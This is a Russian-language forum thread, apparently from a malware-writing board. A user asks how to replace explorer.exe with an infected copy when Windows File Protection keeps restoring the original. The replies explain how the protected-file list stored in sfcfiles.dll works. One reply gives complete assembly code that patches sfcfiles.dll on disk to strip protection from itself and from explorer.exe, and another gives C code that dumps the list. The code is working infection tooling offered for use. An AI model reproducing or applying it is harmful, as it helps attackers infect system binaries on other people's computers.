Добрый вечер, пытаюсь заразить експлорер, использую перед этим функцию отключение файловой протекции взятой у ув. тов. Bill_Prisoner, вроде посидел с олли - все файловые хендлы winlogon.exe закрываются, функция возвращает положительный результат но при попытке заменить ориганальный explorer.exe на зараженный, почему то все равно остается ориганальный експлорер ) хотел спросить, не связанно ли это с более новыми патчами на винды (?) спасибо.
Статью не читал, но хотелось бы уточнить, что именно ты делаешь? Насколько мне известно, винлогон просто копирует в свою память весь список защищенных програм. Поэтому, простые операции с хендлами и т.д. (sfc.dll?) не помогут. Я патчил sfc.dll (или sfc_os.dll - ну или как она там называется) на винте через отложенную загрузку - все отлично работает!
Список файлов. Копии файлов находятся в system32/dllcache. Если там нет правильной копии, тогда появляется окошко с просьбой вставить диск. Иначе измененный файл тупо заменяется копией.
Дык, а как же её патчить, если она тоже вроде под WFP? :/ и еще, это наверное уже оффтоп, где можно почитать об отложенной пегезагрузке? %) спасибо
MSoft Какой такой список? Где он хранится. Насколько я знаю никакого списка нету, есть подпись, и все что подписано потектится.
dozzer Я ж грю - MoveFileEx с флагом после перезагрузки. И все отлично меняется (получилось только на XP SP2; на Win2k - не получилось; на остальных не тестилось). PaCHER Список защищаемых программ. Скажу честно, не помню по памяти ту структуру, но, если пропатчить этот список, то проверяться файлы не будут. Вобщем, там идет массив из 2-х элементов: 1-й - указатель на имя (но врать не буду, не помню), 2-й - указатель на путь к файлу. Так вот, если, к примеру, второй дворд в массиве поменять, то этот файл проверяться не будет!!! И с ним можно делать все что угодно! Вот код, который делает патч и снимает защиту с самой sfcfiles.dll и с эксплорера. Код (Text): .data szSfcFiles db '\sfcfiles.dll',0 szSfcGetFiles db 'SfcGetFiles',0 szSfcSfcfiles dw '%','s','y','s','t','e','m','r','o','o','t','%','\','s','y','s','t','e','m','3','2','\' dw 's','f','c','f','i','l','e','s','.','d','l','l',0 szSfcExplorer dw '%','s','y','s','t','e','m','r','o','o','t','%','\','e','x','p','l','o','r','e','r','.','e','x','e',0 .data? lpFiles dd ? dwArraySize dd ? .code PatchSFC proc LOCAL lszFileName[100h]: BYTE LOCAL lSfcFilesPatchAddr, lExplorerPatchAddr: DWORD LOCAL lPatch, lhFile, lhDll, lhMap, lhMem: DWORD pushad sseh_ex _end xor eax,eax dec eax mov lhFile,eax mov lhDll,eax mov lhMap,eax mov lhMem,eax lea esi,lszFileName invoke GetSystemDirectory,esi,SizeOf lszFileName invoke lstrcat,esi,addr szSfcFiles invoke LoadLibrary,esi mov lhDll,eax invoke GetProcAddress,eax,addr szSfcGetFiles or eax,eax jz _end push offset dwArraySize push offset lpFiles call eax mov ecx,dwArraySize mov esi,lpFiles next_file: lodsd ;пропускаем первый дворд lodsd ;указатель на путь к файлу mov edx,eax invoke lstrcmpW,edx,addr szSfcSfcfiles or eax,eax jnz @F lea eax,[esi-4] sub eax,lhDll mov lSfcFilesPatchAddr,eax ;сохранить RVA mov eax,[esi-4*4] mov lPatch,eax @@: invoke lstrcmpW,edx,addr szSfcExplorer or eax,eax jnz @F lea eax,[esi-4] sub eax,lhDll mov lExplorerPatchAddr,eax ;сохранить RVA mov eax,[esi-4*4] mov lPatch,eax @@: lodsd ;пропускаем еще один дворд loop next_file mov eax,lhDll add eax,[eax+3Ch] movzx ecx,word ptr [eax+06h] movzx edx,word ptr [eax+14h] lea edx,[edx+eax+18h] next_section: mov eax,[edx+0Ch] cmp eax,lExplorerPatchAddr ja @F add eax,[edx+08h] cmp eax,lExplorerPatchAddr ja section_found @@: add edx,28h loop next_section jmp _end section_found: mov eax,[edx+14h] sub eax,[edx+0Ch] add lExplorerPatchAddr,eax add lSfcFilesPatchAddr,eax invoke FreeLibrary,lhDll invoke CreateFile,addr lszFileName,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,0,0 mov lhFile,eax inc eax jz _end invoke GetFileSize,lhFile,0 mov ebx,eax invoke CreateFileMapping,lhFile,0,PAGE_READWRITE,0,eax,0 mov lhMap,eax or eax,eax jz _end invoke MapViewOfFileEx,eax,FILE_MAP_READ or FILE_MAP_WRITE,0,0,ebx,0 mov lhMem,eax or eax,eax jz _end mov edx,lPatch mov ecx,lExplorerPatchAddr mov [eax+ecx],edx mov ecx,lSfcFilesPatchAddr mov [eax+ecx],edx _end: invoke UnmapViewOfFile,lhMem invoke CloseHandle,lhMap invoke CloseHandle,lhFile invoke FreeLibrary,lhDll rseh_ex popad ret PatchSFC endp
MSoft Где читал про структуру? Где почитать? Интересует главное где хранится первоначальный список, или как он получается. Кроме патча есть функция которая отключает протект на определенный файл на минуту. Про функции и патчинг инфы немерено. Но про список инфы 0.
http://msdn2.microsoft.com/en-us/library/bb204784.aspx http://msdn2.microsoft.com/en-us/library/bb204783.aspx Сам список вроде жестко зашит в sfcfiles.dll
PaCHER ИДА и метод научного тыка Слышал, что в sfcfiles.dll лежит список защищенных файлов. Открыл идой, глянул какие функции есть и что они возвращают. Так и узнал про структуру списка
Код (Text): oe = (PE_OBJENTRY *)&buf[mz->mz_neptr+0x18+pe->pe_ntheadersize]; for (i=0; i<pe->pe_numofobjects; i++) { if (!stricmp(oe[i].oe_name, ".data")) { char path[MAX_PATH]; DWORD len, s; char *data = (char *)&buf[oe[i].oe_physoffs+4*4]; s = 4*4; while (s<oe[i].oe_physsize) { len = lstrlenW((LPCWSTR)data)<<1; sprintf(path, "%S", data); if (path[0] && is_valid_char(path[0]) && strlen(path)>1) printf("%s\n", path); data += len; s += len; while (!*data && s<oe[i].oe_physsize) { data++; s++; } } } } /* из одного старого срц */